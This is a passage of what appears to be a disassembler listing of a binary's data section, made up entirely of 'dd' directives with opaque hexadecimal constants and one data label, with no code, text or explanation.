43FF03CAh, 70204068h dd 0E3999D06h, 218A0E6h, 0FF6F01C1h, 640A8447h, 0D8597003h dd 822014ADh, 123C5437h, 0BCE0F114h, 0EE094822h, 0EE4D998h dd 3D40B8A8h, 5A700157h, 0D7F6B17Ch, 8C8024A6h, 0EF4CACE8h dd 99188510h, 0F2680C04h dd 8974521h, 4231C424h, 9D7888F5h, 40FD04A5h, 18043784h dd 17728C01h, 1415D074h, 0C0EC20A8h, 9395FE29h, 0E71CE664h dd 6900DD7Fh, 87AD8A32h, 307800D3h, 2FF29A9Dh, 720C8BE2h dd 615441DDh, 0F033DDEh, 0AFEEA880h, 303A1138h, 0ED666D01h dd 0E9267204h, 302E170h, 0F1EC569h, 12C32731h, 0A90A62A0h dd 52083061h, 91801704h, 14517D3Fh, 34E6B577h, 0AAB38702h dd 0C0CDED92h, 5A3F84h, 81C3E94Eh, 4C7D5088h, 69F58703h dd 0CAC1E70h, 12663998h, 0F000BF50h, 876A84A5h, 1F596A8h dd 105FBAF1h, 0F40B7BDEh, 3A986603h, 20EE192Ch, 37537705h dd 4832CC1h, 3AB7F900h, 5C090800h, 9C1DF603h, 3BB50002h dd 0A535432Ah, 0A0002553h, 0D41ABC0Ch, 0A896844Bh, 74C0D9C4h dd 62741327h, 0E16C205Ah, 0DF0978C3h, 8277F7C5h, 686674DCh dd 0C62EECECh, 31574279h, 4F6DE200h, 59174525h, 90300AEh dd 0C3142BF8h, 7507281Bh, 0BA26C298h, 0CB0E8020h, 412C18F5h dd 2F9E415Ah, 9701EB7Dh, 4CC7DDFDh, 84CC870Dh, 2C94A8D4h dd 23C0A862h, 0B134001Fh, 2DD09077h, 0B50270A8h, 15788BBAh dd 0ECBE003Ah, 1A0C894Eh, 0B12AD0C6h, 0FF4F0BF2h, 0F881EB57h dd 748C073Dh, 2018A7E0h, 0B960E66Eh, 158D00D7h, 0CEE47F0h dd 0EB741797h, 0D3818060h, 9A8D4Eh, 0F7FA4694h, 36E15CC5h dd 1C24EC4Ah, 0C27CF81h, 21007422h, 0C38BAE3Ah, 0D90EB291h dd 92B32482h, 86EB0820h, 78D51DB5h, 0B12C980Dh, 0BA0582C5h dd 65233A84h, 57D58440h, 28920729h, 1DCDFB8h, 2CD77B1Bh dd 0D14E5B7Fh, 35A98771h, 0DD276E13h, 0C9FD4AD0h, 7B880050h dd 0F5BACD85h, 0C5507E38h, 0E201C4C4h, 0E1D3E636h, 0B0EC87C8h dd 7CA112D0h, 8268300Bh, 9F1BE7DAh, 80A175CFh, 391E8h dd 7637F2Eh, 0FE278ED4h, 6C0F004h, 6CA2FC7Ah, 0AC18F525h dd 0A6129D49h, 842023C5h, 1A76A3h, 672BB071h, 17DBC2BDh dd 5A096803h, 3FEFCF4Ch, 0E1E00529h, 711F2D99h, 1300FA7Dh dd 18AE3943h, 141B11CDh, 9C41A5A3h, 21167922h, 7C0ED094h dd 3604A742h, 5B054BB0h, 0AE740081h, 0C359FFFBh, 0E1247FFCh dd 14880C8Bh, 8D48606Bh, 8F46F024h, 0DC006922h, 9218DDFh dd 2465987Fh, 4B9476EEh, 0EE55C20h, 53017B48h, 70B9F916h dd 20F48063h, 9C774813h, 874B29A0h, 0DF45BB00h, 2A57C641h dd 0ECCA01BAh, 0F034196Ch, 0C5619273h, 8C1E1030h, 450A0105h dd 5F3E629Ah, 3AE0507Dh, 277BA9DFh, 3C9220F0h, 39C0D3F4h dd 0CC02C43Eh, 0BE9A0056h, 0E949AFFEh, 60FA3C14h, 176E5503h dd 0CD2EFA7h, 181D4FA0h, 70C61F9h, 682004D8h, 1607C70h dd 8A98C391h, 0E446190Ch, 0C88B663Ah, 0AD9A426h, 0DE08E72Fh dd 37F401EDh, 0F170C8AFh, 3A4C3485h, 123C784Ch, 20036E84h dd 0DB7C16EBh, 7D490009h, 4B98B041h, 500EF79Ch, 8AF8D304h dd 7A006878h, 74D18FB0h, 0AF870010h, 940D26ACh, 9CA8E9D4h dd 69009BA7h, 0F5F1737Bh, 0FDE656Dh, 0FA117E79h, 87E50340h dd 70183647h, 3D59CBD0h, 513A1677h, 760820E6h, 0A4BA5E42h dd 5D8CE112h, 0AE23A000h, 602DCB5Fh, 93822968h, 95009C86h dd 50E85E5Dh, 14187FFh, 0AB1C1B6Fh, 0C80BC2F5h, 2CB0B3E4h dd 20D99826h, 342CC59Fh, 7FD04C06h, 76CD3C89h, 3FCEF10Bh dd 84884007h, 2DDCA40Dh, 0F46F141Ch, 8A3DD0C7h, 0B905BCD0h dd 7F790025h, 21615F51h, 6E240B47h, 465E744Eh, 4E8A00B6h dd 3879FBDAh, 0E17A0977h, 20855FEDh, 0D1088EAh, 0C9914B67h dd 0E72DEF20h, 93790039h, 707DC2F3h, 547EF78Eh, 2401252h dd 0F0CE8DB2h, 0D6001C3Fh, 8A568D29h, 7B6E3AE3h, 5C2812B7h dd 80940F7Dh, 0C360AC40h, 2B636562h, 0C0244981h, 0B1A0E97Bh dd 430D8C70h, 0F8B46621h, 91C66800h, 3FFF5FA7h, 15323856h dd 93200228h, 159D523h, 0EC1412CFh, 8216F70Eh, 3E919C99h dd 0C0904355h, 0C0BBEE66h, 98BCC339h, 0FF004C4Fh, 8E2EE152h dd 13624072h, 81EA6884h, 10C9051Ch, 310C99C3h, 2C58DA8Ah dd 0A952D0B4h, 388B3D37h, 0C2FBCF30h, 7F391D48h, 555B8C2Dh dd 0EC00F649h, 19405A54h, 29DD458Bh, 0E18B543h, 0D1401EEBh dd 60334AB0h, 19076492h, 5CAC0AA3h, 3BA026F7h, 251DD4h dd 0E61283E7h, 89076B8Fh, 9318CA00h, 0E0314A4Eh, 86400B34h dd 0E40063A5h, 9D895767h, 4302A41Eh, 85B8B518h, 44F888E1h dd 88378F14h, 217229Ch, 3290C8D4h, 7848C61Bh, 3C78C5DAh dd 0C6BBB09h, 72D08412h, 0E62C088h, 779C4294h, 8ECC4E6Ah dd 0EA229A04h, 14E46B71h, 0E6AE0C00h, 0F1648A36h, 0D75F0013h dd 0DFCFD268h, 0AD3B880Dh, 4BAA3FF6h, 58E88C02h, 629C875Ch dd 78D468C5h, 0C0F83C87h, 4B96B07Bh, 91F94C21h, 24200079h dd 0ED9D0D8Fh, 4528B0D1h, 0BF020EFh, 48E80C40h, 48001CFEh dd 0CEED174Eh, 5B50BDACh, 9C4C0168h, 398F0050h, 0E4D92BFDh dd 1C7348F4h, 0E7AC613Dh, 704F9D14h, 0A4EE9D31h, 0B0D15E20h dd 8F600C40h, 0C328CA73h, 0C9C6C500h, 0DDA75A01h, 577A0350h dd 9FE0ADE7h, 833EF2E1h, 1E708BBAh, 3F809840h, 0D8090065h dd 0ACCF39AEh, 9C00F717h, 0FCF6D44Eh, 88A043h, 0B481334Ch dd 14C5BED7h, 8264C700h, 0F458F6F3h, 39191C3Fh, 1E610074h dd 469F753h, 7E003E7Eh, 0FE289E63h, 0FA5289h, 0CDB5DABEh dd 845780A5h, 42083E00h, 1CC34C79h, 4BBB02BFh, 72B50321h dd 0DE5F48C0h, 1297C700h, 0A0B413C3h, 0C1490042h, 92C298ECh dd 0E07CC3Bh, 0C448D174h, 8244808Fh, 8C7D79h, 5B6BA096h dd 23FB81ACh, 3FCDF500h, 73010684h, 165F0091h, 0BCEBADEh dd 133025A1h, 511580A6h, 919D0029h, 0AB216C33h, 3FEAE149h dd 80618838h, 0AD13AC43h, 20D3676h, 0C39ED7B5h, 0ED431A7Fh dd 0BB926097h, 0BC07A487h, 8C483BEBh, 0AB440BC0h, 0F73C3A4Bh dd 469E00FBh, 0BBF64F3Dh, 60039275h, 2654CDA2h, 0A19004Bh dd 6EA941FAh, 0F800CF81h, 0FFD229F5h, 6D4F9DFh, 2153C28Fh dd 4A007189h, 68E3F770h, 98D74384h, 22ED07C3h, 40FE9CA3h dd 7448A5EEh, 0D13F6600h, 0A22C72C2h, 51B25CC3h, 73A3F000h dd 56EFD89Eh, 293DE932h, 0D07510E6h, 44279340h, 8A20ACD2h dd 11EA4265h, 0DB21CC29h, 5175F20Ch, 8E7F442Eh, 408FC744h dd 4000ED3h, 0E6BF084Bh, 26C0CAh, 375D16EDh, 0FB355766h dd 0A2AF9700h, 83A080E0h, 9018003Fh, 0F02604CEh, 0F300B9F5h dd 4DE35156h, 2F01FEh, 2B7C03D9h, 58C974CCh, 0F5010EFCh dd 6B58ACBh, 6CC40278h, 2815003Eh, 0DE6EA6A5h, 0AF00B3E3h dd 4F3CA36Bh, 23D250h, 0B2BD4A03h, 5736D5ACh, 70C12707h dd 0DFA70D91h, 0DB942BD1h, 70E90CF0h, 0A91A0069h, 0E2AFDADEh dd 0EC50E524h, 1600A8C0h, 0AB8E7753h, 1C309C3Ah, 418BF898h dd 310B8C6Dh, 79B880A0h, 51EB97FCh, 126F39AFh, 671028FAh dd 28D60087h, 8CFAEE3Eh, 490097A0h, 6D89F94h, 872A5h, 3A223314h dd 2DA95383h, 0DAB850Fh, 6146AE01h, 6F6E57Ah, 28805FFDh dd 0CF04CD44h, 0D2000C4Eh, 8947D437h, 946B5Ch, 15983513h dd 2BF3D74Bh, 0A2001075h, 6609F4FBh, 0CEB73Ah, 14D81563h dd 0DD7A1CB0h, 0DE210B01h, 0E1E67B0Ch, 9193E4h, 0DAA02A5Dh dd 742EEDC7h, 0CA2B7900h, 0D1AF9D8Ch, 68910037h, 0F077B36Eh dd 10721723h, 3EC25400h, 99043F0Ch, 3473003Ch, 31BA13F7h dd 98001655h dword_4C92F8 dd 0CDD87F88h, 8ED2B9h, 8B0AAE85h, 1A340C80h, 4DB6A300h dd 0E30F6879h, 31E600D7h, 0A04626B9h, 3E00A199h, 65145638h dd 12C507Ch, 0AC9AB1B0h, 0D047E59Eh, 6F0AE05Fh, 8475E726h dd 3DE05614h, 0B760808Dh, 2597915h, 0A63B00F6h, 29CA88ACh dd 66001163h, 12B172BFh, 0FA8FB0F8h, 99A81C9Fh, 0D12600D8h dd 8E1FE53Bh, 0C8F77F17h, 1A3D09h, 0B3E4BC50h, 171D005Dh dd 0C9A97EB0h, 327D29AFh, 573AD00h, 0C7463996h, 0F41F3FCAh dd 0C18DEC07h, 3A07F56h, 7128E80Fh, 9A468E00h, 0EFBA4575h dd 3D98762Ch, 0AD3010BFh, 5C9BA010h, 0A9F7461Fh, 87E22042h dd 222840EDh, 905D48E3h, 0C982268Fh, 0C406024h, 3C01F276h dd 10392E91h, 47F5BD2Fh, 0E96AF4h, 0F8B9120Fh, 6909ADCAh dd 1E00F97Fh, 93C6F320h, 3C251C7Eh, 9C8016AFh, 6BE0E1A3h dd 0CB01A4D4h, 0C219D8F6h, 72DC5D81h, 0A24A26F8h, 308A05C7h dd 74448013h, 0AF4CEF32h, 0A5D64085h, 1F4C0500h, 0ED3B7595h dd 9068C7B0h, 77C4CC01h, 0AC74AD00h, 237C94F9h, 1EF6EC2Dh dd 47F14749h, 0F4FE80BAh, 0D8D48051h, 0D6001D91h, 224AEC53h dd 0ECA9D788h, 3EDE0F90h, 79E0C59Fh, 4E82D971h, 80255B0Eh dd 5E070039h, 37499Ah, 0E86D7F04h, 4456749Dh, 347CE600h dd 0BD81A03Fh, 0B8A72E68h, 0F3F90F4Ah, 582DE2C3h, 14A6D9A8h dd 8B002E77h, 0C321D451h, 3509AAh, 0EE302072h, 0CB617AB9h dd 5943101h, 0E9C7C375h, 0C63BECh, 0A5D781B8h, 0D0688B0Dh dd 7B622000h, 654A0FA1h, 3AC80051h, 0ABBD7071h, 0E0397D14h dd 90B28012h, 8257ED11h, 0A1B13E0Dh, 25284A00h, 0F4C7F87Eh dd 9A20D200h, 0DB5CB3D4h, 0FDD90040h, 0C8FECB9Ch, 0BB07DFA5h dd 0E68645AEh, 5DEDBC40h, 0F0390358h, 0E73615D6h, 616A1DE8h dd 0E5779DF0h, 4511AF07h, 5E514D33h, 8047F940h, 447D8F02h dd 0B87000DCh, 1DBA6FB4h, 311F0D95h, 0F7837E98h, 0E8A7ED22h dd 69DD303h, 0FF274056h, 8100118Dh, 0C26E5D24h, 30AC5A15h dd 2C615B7Ah, 0A00F109h, 0B9EF53BAh, 0DF210Ch, 0DBFE7D3Bh dd 50D27065h, 78A8900h, 58711455h, 21601E88h, 87E4C012h dd 0D6F9F7E9h, 2A90ED00h, 0AE8C0A59h, 0B845F69Eh, 37C81E84h dd 1AAD4043h, 0E01ED6EEh, 30FEBE00h, 0D31BBF5Ch, 0C2A6000Eh dd 0B8171AF0h, 4900FAE2h, 33DB46A0h, 48E30166h, 0BC541979h dd 0D2A5001Bh, 58CC88E7h, 5B0FF9Bh, 0F4BB200h, 6D5614C4h dd 596600EFh, 7C1140C1h, 5239F909h, 14C48h, 9D23792Eh dd 0E2A87Bh, 0B418FE58h, 6FAFDE5h, 0F3BF8C02h, 608F7345h dd 0CB0F34h, 0D55CD029h, 15E3399Dh, 9486CC00h, 33F81E20h dd 0D2FAB3h, 78DCF44Ah, 0B263F97Eh, 7453450Fh, 0D8409D8Fh dd 0B0E1B69Ah, 0F3C10051h, 2CC20949h, 0FD03ABEBh, 0F6BCE516h dd 3DEEB86Dh, 2AF497h, 0DF7EA920h, 4FE5B1FCh, 65B5D14h dd 3CAC00E4h, 0E2024763h, 92D300D2h, 5A170A21h, 0B57EF295h dd 3B88FF02h, 407B3A5Fh, 0E86AADF2h, 9FDB0134h, 4A06134Eh dd 753CF4B3h, 3700C970h, 0ED18C156h, 788C0Dh, 0B795BFB6h dd 5CFA396Fh, 4FEBA700h, 0ABC1E971h, 1526008Dh, 0F79C22DDh dd 0E42CB718h, 0B12CAC5Bh, 138B9639h, 30F47C00h, 6F310AE5h dd 62401074h, 0DB275FF2h, 175884FCh, 0D3A40059h, 0A27F406Eh dd 0CC9045h, 9C778EB9h, 0A46C2B9Eh, 7EFEAE00h, 932EB324h dd 0C86D1E08h, 83803099h, 1C00A7B5h, 76260C9Fh, 1D758Ah dd 0ECA19DEAh, 80C13E42h, 12004FF4h, 43AEC21Ah, 422A408h dd 0ACE55AA0h, 475480D4h, 3D009A50h, 0D135FEA1h, 4813EB6Bh dd 0C80100EEh, 3132F8ADh, 0FE866063h, 90DC4E00h, 41792208h dd 0E5ED004Bh, 0BBC420BAh, 2BF08407h, 76DA0D3Fh, 3056AB3Fh dd 7949FAFBh, 0D99C0C28h, 0EA982325h, 2D2FECE5h, 8157A03Fh dd 9BD2E16h, 7DE4D95Fh, 662007Ah, 0DC840FCDh, 0AF0048F9h dd 0E4E035E9h, 73FCF378h, 0DDDB00ABh, 11881A92h, 2402C29Eh dd 8B22ED23h, 0B50C857h, 2D9D00F4h, 441F276Ch, 21E190Ah dd 9100F3CFh, 81E00763h, 0B0430E3Ch, 3141A14Fh, 606D3DBFh dd 62003844h, 7B2FD084h, 95C647h, 6C23E902h, 68659B10h dd 40B46200h, 0EF4584D6h, 6FDB00C5h, 2C4A230Fh, 0B66098CBh dd 1142DF48h, 0CDC1031Ah, 376C4BBFh, 51CB68E0h, 0F524EE38h dd 5C0045F6h, 0E4392AF1h, 2472FD57h, 0E933E8Fh, 337BB88h dd 0D784B92Ch, 25BD7B88h, 3200A7E0h, 4E86E3FCh, 7D6F73h dd 6E072EBEh, 66DAD417h, 0C111FD00h, 1A7C3525h, 1FF7073Dh dd 0CE43189Ch, 8AE53C2h, 0A1C6A801h, 0C73EEC66h, 3AA4B4BDh dd 8BC18064h, 0C172831h, 0B5188900h, 0EDE33B92h, 74D9E86Ch dd 0E46703BEh, 0AC070156h, 3CD14880h, 6800E873h, 28B7C8ADh dd 29C4E9h, 7C61FB16h, 0D013F1Ch, 0CAD7C606h, 2170B942h dd 5404AFFh, 177A67D9h, 40C63C4Ch, 90F87144h, 2D2CEF4Bh dd 0A1414C89h, 0BC43BC2Eh, 5EEDB036h, 0EBFC75h, 0CD199079h dd 15AEE7FEh, 55B9DE00h, 28B60A85h, 0DD7A00A1h, 0C1F6A3EEh dd 82016526h, 2A993021h, 0C2A63EE0h, 5AFE0E84h, 0C620C09Fh dd 525C03F2h, 0BAAC6000h, 0AAB7559Ch, 7B2F0D0h, 913EE101h dd 0C107FECBh, 6640AE94h, 71C0689Ch, 0F1A39501h, 26CA257Fh dd 29730h, 0D1CBA0DEh, 287BDCB0h, 0C8AE5F30h, 4B9390h dd 348DFB12h, 91F241ACh, 264A0800h, 5C9CF850h, 3092007Dh dd 70BBC9CFh, 96609356h, 0D50EF7B0h, 0C0AEF265h, 0DF3A1110h dd 0AC0086C6h, 582E9B0Bh, 8B6E01h, 0C37CFEC7h, 0DD2DEE21h dd 291C7112h, 5DBAA804h, 13F9C541h, 0F803E933h, 0A33C6D1Fh dd 0B4ED80D8h, 7CAEA508h, 6A7B005Ah, 49737628h, 9E01AB2Ah dd 44AC01DCh, 0E070407Fh, 16F93096h, 0DF381448h, 2CA51C18h dd 0EFC610h, 0CF6932F5h, 40E74989h, 7EFBA400h, 0A80BD20Ch dd 4A13B4Ch, 98E4EA00h, 6D091FCFh, 25546C13h, 285AC00h dd 906F0E06h, 16F304A0h, 0A6E172h, 733A4A99h, 191D045Ch dd 0C08287BEh, 0D6ACF0F0h, 1E580C00h, 6673490Eh, 4CE8CAh dd 0FF9F71D4h, 1D785C52h, 0B37F9701h, 0BD312B4Eh, 400FAAE7h dd 4C6FC8A0h, 0B2483C85h, 7E444500h, 9FB381A3h, 0CC767900h dd 111C7FF8h, 4FF000CEh, 26334B9h, 0DE00F13Fh, 4CC7DB36h dd 0E0C483h, 429F8BE3h, 7A4085C5h, 0DB695000h, 2B6B8A72h dd 5D4C0F54h, 6480ED17h, 1FF88019h, 0DC40500h, 85AC0BF3h dd 0EE6F2E8Bh, 94D10074h, 0F691DC7Dh, 31EC8800h, 0F3FBDBD3h dd 2D7100E3h, 0B3596820h, 93121DC8h, 0A84083A1h, 1553F3D7h dd 28692698h, 0DE5880A0h, 6A9B5659h, 40D57400h, 0CE7C95F6h dd 5B621FB3h, 499E00DFh, 3B9FA81Ah, 0A09CF400h, 0D4C7C0E6h dd 185100F0h, 0DC3D556Dh, 112CB338h, 0EE004A43h, 8F6915D8h dd 364D00D1h, 0A80F0370h, 0F65065D9h, 0E7005AFCh, 7A1C1D50h dd 1EC7C809h, 4E801131h, 0A403BE2h, 8D536110h, 71F76F00h dd 0FC13B2BCh, 1E4102C6h, 24F59893h, 0E8B16C40h, 0B412D600h dd 73ACE9EAh, 0C6421F31h, 26DF5ECFh, 0AE7E0168h, 0E8B7C3D8h dd 0F8191B75h, 488861B6h, 71698AECh, 215305FCh, 9095CEC7h dd 43D945FCh, 1FB66500h, 0A475C5C4h, 53E40657h, 986DB558h dd 0DBA6041Dh, 545135C0h, 0B9F927h, 1AF3B1EFh, 0BFE679F4h dd 702B8926h, 0F0A52F04h, 0F88BCAC0h, 0BD9300B4h, 6F5623C3h dd 0CE03E4EFh, 0C6529539h dd 8594E03Ch, 5A27347h, 982AB4DEh, 0E2AC82BAh, 0E76A6160h dd 82030590h, 0D9AC9D81h, 0A657A852h, 7BD67967h, 0C4F303A0h dd 0AC595FE2h, 701C8DB1h, 3302F9BEh, 0C13DDFDCh, 51BC6815h dd 87A41F76h, 0B421C02Fh, 5626125Ah, 0E98E7700h, 0D95EA34Fh dd 3BA7A07h, 237934CFh, 0A0A89E4Bh, 28F8AF33h, 0A35E6900h dd 9DD8F810h, 0E0FC0E3Dh, 80F84879h, 4492AFF6h, 0EC884Ch dd 21A3F23Eh, 0F810030Eh, 2C9A001Dh, 8D0DF384h, 5100BFDEh dd 7D2CE78h, 7E208932h, 1326985Eh, 30D97h, 0DAAD2891h dd 835953BDh, 9E7C0110h, 7AE706BEh, 0D76C0h, 7E2AEAA5h dd 9FF1DBC2h, 47286260h, 0F98013h, 60FA639Dh, 0FB96C32Eh dd 3A0E85EAh, 404DA21Eh, 5B74760Dh, 7A91184Ch, 8625BA42h dd 0E5037298h, 551D3684h, 8ECA00Eh, 6F010BCDh, 0E8800627h dd 0D22B8B9Bh, 49860500h, 9EDC4B6Ah, 51F700D3h, 1ABACF6Bh dd 9200C0C7h, 3E8DBF97h, 77ACF44Ah, 0A09067h, 23C61165h dd 3C384148h, 0F703AE77h, 0D26B12DCh, 49C0EF8Fh, 766A6F43h dd 0A5F80030h, 0D121950Dh, 39008E3Fh, 0C5D01EA3h, 58B624h dd 0E2C11FFDh, 840AA42Bh, 38205C4Fh, 717A3765h, 68BB0047h dd 0F940713Ah, 0D4259C42h, 20C007Fh, 1CED91Ch, 0E8810186h dd 240A3769h, 4007E94h, 0F857DB51h, 3D12A75Bh, 0ED0024EFh dd 0D5C8FBB1h, 0CB85815h, 42387301h, 0C09CBFFDh, 2C3120h dd 7025F5A0h, 88F378E6h, 0ED2632F2h, 3A00BC58h, 0CCE18C92h dd 9660083h, 0F36B55Bh, 557FF92Ch, 80A4DE3Eh, 7AD334A8h dd 31FCB6h, 0C138B05Dh, 761C32FAh, 94AFFB2Ch, 268E1700h dd 48B5DACBh, 5F00A856h, 0E1F43A2Dh, 0DB014166h, 360EFCEh dd 88409528h, 7D84CECh, 0E9FF085Ch, 97ED614Ah, 12CAF4A5h dd 6628491Eh, 283E6164h, 1400922Dh, 0CF8C8DB1h, 0BA68BDA1h dd 64B01CB4h, 621CC913h, 0A9564CC0h, 48C2B600h, 0F8E930C9h dd 63A2002Ah, 0E246E118h, 0CC909ED3h, 685481E4h, 4900C1BCh dd 2FDB5A36h, 58AD665Eh, 0C059B015h, 0C751FA00h, 0B04EF838h dd 0FF6B2A00h, 16390453h, 86440059h, 34C33D95h, 0F75CF831h dd 0F48A00C8h, 0C52FAEDFh, 471E00F6h, 0ACD9CAB5h, 601CE31Fh dd 0F2078CD8h, 0E09F15D6h, 50BC764Bh, 3B2900CEh, 893EC2B9h dd 4100402Ah, 5A57A037h, 306710h, 2BCDBEDEh, 9B84F959h dd 7F09FC9Ch, 219F005Eh, 5CB704C6h, 0EE00C4BAh, 0C831EB4h dd 4BE09E77h, 14E2D300h, 204DC80Ah, 16600B7h, 0C303E432h dd 9500C6AFh, 0AC101CA6h, 94F57B48h, 98DF009Ch, 204A18DBh dd 0A343A900h, 24F9EEECh, 97FC01D1h, 74B84D5Bh, 0F37970D4h dd 80785F3Fh, 9E734FA5h, 1FDC8410h, 80C02CFDh, 3CA246DEh dd 7A003FE1h, 3EA7AF61h, 40A51Bh, 22144D86h, 0DA391023h dd 8201504h, 92C0C2D0h, 25234ACh, 0B51CCA11h, 83801D23h dd 0FC1B94D2h, 0CD028A2Ch, 0ACB78738h, 79F9D8h, 0E97ADA08h dd 7BF7EC98h, 1243048Bh, 8127CCF5h, 0E7F2C590h, 7F175A8h dd 3A0029E4h, 3F86EBE9h, 0F1FF40Bh, 0B4E225A7h, 1990FE0h dd 0AA4C6F83h, 58BE3DD8h, 45330208h, 487F8E37h, 73952Ch dd 0ED99CA6Dh, 0F3089A8Fh, 0B81FD14Ah, 0F0DE740h, 7B9BF2C4h dd 25BF167Ch, 0C0981F77h, 0E03279A4h, 0F8044F87h, 1050E92Fh dd 0A143DD0Fh, 33B82B41h, 2200B3D2h, 25CF59B7h, 29D08h dd 0D396D1FAh, 6A236415h, 0A269CD00h, 2F39A97Ah, 63B10B79h dd 0B440D76Ch, 44941268h, 1B720240h, 57C802E4h, 6D9E1C35h dd 0FAB8FC80h, 0F92C3F48h, 0FC00304Eh, 38BA1E25h, 0CA3A0169h dd 0ACB219F5h, 0B6728242h, 60636CC4h, 3FBBC2h, 6850B91Dh dd 0D4B04B15h, 65D2200h, 21A6C404h, 0FD7355h, 0A02D261Ch dd 0A858A1D3h, 0C967521Ch, 0B216BEC2h, 77450DCh, 0CF735066h dd 0B720EF13h, 78D96F57h, 0CE528500h, 45EBDE56h, 0DF6D00BFh dd 198A2EB1h, 5C0BC946h, 0AF808312h, 0ED12148h, 0D07066ECh dd 0F2FE05h, 53EEBA85h, 96D6FD09h, 0BCE34Dh, 0ACE7FF36h dd 349E21Eh, 33CC4701h, 2100B942h, 0FD7C37B0h, 87D3E0h dd 980A9D6Ch, 0E9019591h, 0DAADC00h, 0FEB31F3Fh, 24EE0076h dd 2555CE7Dh, 0EA3D34C0h, 50CF833Ah, 906836D1h, 0D75688h dd 0AD077ECAh, 0FC8505CBh, 0B239B800h, 0E728520Dh, 2A9203DEh dd 0BB333BF3h, 742DB0C8h, 670A6501h, 5E3DD223h, 0AA31C440h dd 3FE8006Dh, 130273E4h, 0FA0389CAh, 0D47859E5h, 884FD038h dd 38AA4CF3h, 0ACF0D007h, 0D60FC051h, 0E7F23FEh, 0C688604h dd 8A8AA67h, 0A156007Fh, 4502F569h, 190F5193h, 0CEF20134h dd 97E06008h, 0F246C37Ch, 1CB671h, 364026EDh, 6E39DC2Ah dd 0E7CF001Bh, 4B895F97h, 0F3A8C507h, 85820C14h, 0AC0713F4h dd 2A9C2658h, 0CCFD9B40h, 8BEA01D1h, 3254CF33h, 1DF030C6h dd 99D7AA00h, 8FE0B763h, 6245124Dh, 2DC0079Ah, 0C5E8703Eh dd 91090E57h, 7D4E05Dh, 9E37B060h, 7898A983h, 0C9DF00A0h dd 23496234h, 0B5075154h, 67D35B13h, 0B36829E0h, 0CFC11D2Eh dd 9A80800Eh, 0EA0D4EDAh, 77832200h, 7D8674FAh, 3348C0D7h dd 694504B1h, 611844A0h, 41FC74Ah, 0B5FA7800h, 14E8EAEDh dd 147FABB6h, 654ED000h, 745BA22Ch, 47683C00h, 0CF446129h dd 6F603A97h, 6480D1BCh, 6DB70C4Bh, 0B8035DC6h, 55011E72h dd 0D48E9857h, 989900DDh, 89062567h, 797602A2h, 0D2E3C307h dd 0B0F0AD4Ah, 1413B30h, 542963A7h, 0F4428BF5h, 0C807C283h dd 0EEF3F739h, 40B501E2h, 50347Ch, 627152C1h, 0FB38280Eh dd 0A777200h, 0E8AB4CF8h, 3A740FFEh, 0BA00C927h, 0F44F751Fh dd 722ADA00h, 0BFC589EAh, 8D2F0053h, 0AEFFC910h, 311E1F44h dd 30801886h, 9BD5FA38h, 0AC2D01F3h, 32D62A5Ah, 0CC8C401Fh dd 3E0054C4h, 0B5CACFF9h, 297374h, 528FDB4h, 1982AB75h dd 5678A007h, 37670647h, 0D00408D5h, 3C06441h, 502C71DFh dd 74BC93h, 0C190E6D7h, 246F7DA4h, 0A3320500h, 0E37138D1h dd 955A70F0h, 7217F083h, 0ACAF07F8h, 0A2D0C000h, 2EA4C8DAh dd 0EE55E8D3h, 59190008h, 0F15148Ah, 410070ECh, 7BA482B4h dd 0F0A8A60Dh, 9213002Fh, 405DAE4Ch, 25F6D0BBh, 0AA367E00h dd 0F88299DBh, 0FE1800D3h, 0A1DAC120h, 8BFEA88Dh, 0A223B402h dd 0D0C347F2h, 91190068h, 7807660Eh, 0DD0FB1C1h, 6058A85Ch dd 0AB867B51h, 0C57005Ah, 24541950h, 0C200083Ah, 6C8CDBF7h dd 1C90A8B0h, 325AAEh, 2F2A7176h, 3300E538h, 0D99BB321h dd 14EB3Ch, 9D997808h, 42FA82E6h, 0F1742400h, 0D3ABBAB1h dd 3D060E0Bh, 28B89450h, 0E88893E3h, 0D6338873h, 89B37C88h dd 9C24CA69h, 1250D021h, 0F5161078h, 40F48088h, 5A2032F2h dd 21444208h, 0F3D4086Dh, 0D51BA600h, 11A260h, 4FD95049h dd 0CDA9F0DAh, 0C03F7C07h, 201FDB21h, 29D0BF13h, 8F2A00B2h dd 0C743E46Dh, 17005BCAh, 0DA247CE2h, 8C8234h, 0DE0275D7h dd 0B864F115h, 0D4832A00h, 2EF2BA9Eh, 6D96001Dh, 16342231h dd 253C7607h, 1420E80h, 0F4306087h, 0E0224h, 0F1F7CF23h dd 4CD0933Dh, 90909270h, 0FA7D5107h, 5CF01F50h, 25E2A5h dd 3B76625Dh, 0D74FC992h, 3478FF00h, 0C1E75973h, 626A0344h dd 70A1BBEBh, 0D87674B8h, 0E4281A1Dh, 673CBC80h, 327C735h dd 7E994333h, 81D51671h, 0CCAC83C7h, 49000389h, 0D91530F2h dd 52ECB6h, 1E33DA0Ah dd 48F5FD5Eh, 13E8A907h, 0E5A04931h, 0CB26B9h, 298B56F1h dd 0B08C4127h, 0CE1C1200h, 408DEB7Bh, 73610760h, 0E0936C90h dd 212DB104h, 7C006798h, 455C572Eh, 76E40F6Dh, 0C9261EA0h dd 0BF790049h, 0B1245572h, 0BE000D79h, 586AC3F1h, 0E6AE4Fh dd 37D8EC60h, 1B5EFDF4h, 6F74E07h, 0A690D595h, 32CAEAh dd 896FAF90h, 6A7499C0h, 2FC15A00h, 0D45B0711h, 0E060098h dd 0AEB4D03Ah, 0A00E0D8Dh, 0A0915F92h, 0DB7659D6h, 0E9AD00FBh dd 1FB870C8h, 0C9009F90h, 8A870624h, 760C71h, 3BF88F66h dd 62845A21h, 0BDB0FB5Bh, 263A058Eh, 2743FD9h, 0BA9190F4h dd 0FE34F8E0h, 0A30C790Fh, 54204032h, 45B608h, 1B5CA75Dh dd 7B376273h, 0F4CDB10Fh, 780DC0CAh, 318A9B5Fh, 0EB884C69h dd 8E86D0A0h, 5D00CF78h, 0C53FCCAEh, 1CEC42h, 55917611h dd 7FEBFCA7h, 0F1000EF0h, 28548A31h, 7294B4F2h, 0A6F262h dd 9706BB7Dh, 6CFD9E86h, 47B8C250h, 758B8F00h, 2AF70161h dd 9767002Ch, 0CF94301Eh, 0E8240A66h, 4926E296h, 0BECD8A38h dd 0D806FA2Fh, 1042C1h, 0FE36C856h, 3A44BCBBh, 1AC6E203h dd 0F841D696h, 3A8B8E6Ah, 78C3EFh, 581E6B25h, 0D6424EDCh dd 95708162h, 1A3E6031h, 576B0056h, 7ACFD218h, 0BE00CBF1h dd 8D5C984Fh, 1D73D8EEh, 0C0C8F0FAh, 0A254ED66h, 